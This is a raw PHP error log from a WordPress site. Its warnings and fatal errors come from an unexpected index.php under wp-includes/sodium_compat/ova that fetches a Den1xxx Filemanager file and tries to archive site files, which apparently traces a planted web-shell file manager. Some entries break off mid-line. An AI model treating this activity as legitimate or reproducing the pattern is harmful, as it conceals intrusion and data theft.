"home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [31-Aug-2025 04:31:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:31:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:33:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:33:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:34:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:34:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:47:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:47:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:58:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawa[31-Aug-2025 09:38:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 09:38:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 09:40:15 UTC] PHP Fatal error: Uncaught BadMethodCallException: phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/Crypto.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1118): PharData->compress(4096, 'php.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [31-Aug-2025 10:31:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:31:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:32:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:32:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:34:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:34:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:37:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:37:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:40:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:40:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:41:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:41:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_co[31-Aug-2025 13:45:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:45:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:45:24 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/SecretStream.zip" failed: unable to write local file header of file "State.php" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/SecretStream.zip" in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1059 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1059): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1059 [31-Aug-2025 20:51:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 20:52:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 20:53:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 20:53:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 21:16:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 21:16:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 21:16:45 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/ChaCha20.tar" cannot be created, header for file "860761/index.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1075 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1075): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1075 [31-Aug-2025 21:17:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 21:17:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 21:17:59 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/ChaCha20.zip" failed: unable to write local file header of file "860761/index.php" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includ[01-Sep-2025 08:43:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:43:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:43:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:43:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:46:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:46:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:46:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:46:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:32:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:32:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:32:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:32:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:41:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:41:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:45:02 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/Core.zip" failed: unable to write local file header of file "Poly1305/State.php" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/Core.zip" in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1059 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1059): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1059 [01-Sep-2025 10:17:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:17:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:21:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:22:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:43:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:44:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:44:50 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [01-Sep-2025 10:45:21 UTC] PHP Fatal error: Uncaught BadMethodCallException: phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1118): PharData->compress(4096, '.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [01-Sep-2025 14:39:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 14:39:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 14:39:50 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/error_log.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/error_log" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [01-Sep-2025 15:01:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 15:01:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 15:02:15 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [01-Sep-2025 15:02:31 UTC] PHP Fatal error: Uncaught BadMethodCallException: phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1118): PharData->compress(4096, '.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [01-Sep-2025 17:34:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 17:34:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 17:35:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 17:35:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 01:59:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 01:59:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 12:35:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 12:35:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 12:36:00 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/Compat.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Compat.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [02-Sep-2025 13:29:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:29:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [02-Sep-2025 13:29:19 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [02-Sep-2025 13:32:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:32:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:32:08 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [02-Sep-2025 13:32:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [02-Sep-2025 13:32:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [02-Sep-2025 13:32:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [02-Sep-2025 13:32:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [02-Sep-2025 13:32:13 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [02-Sep-2025 13:38:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:38:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [02-Sep-2025 13:38:53 UTC] PHP Warning: Cannot modify header information - headers already 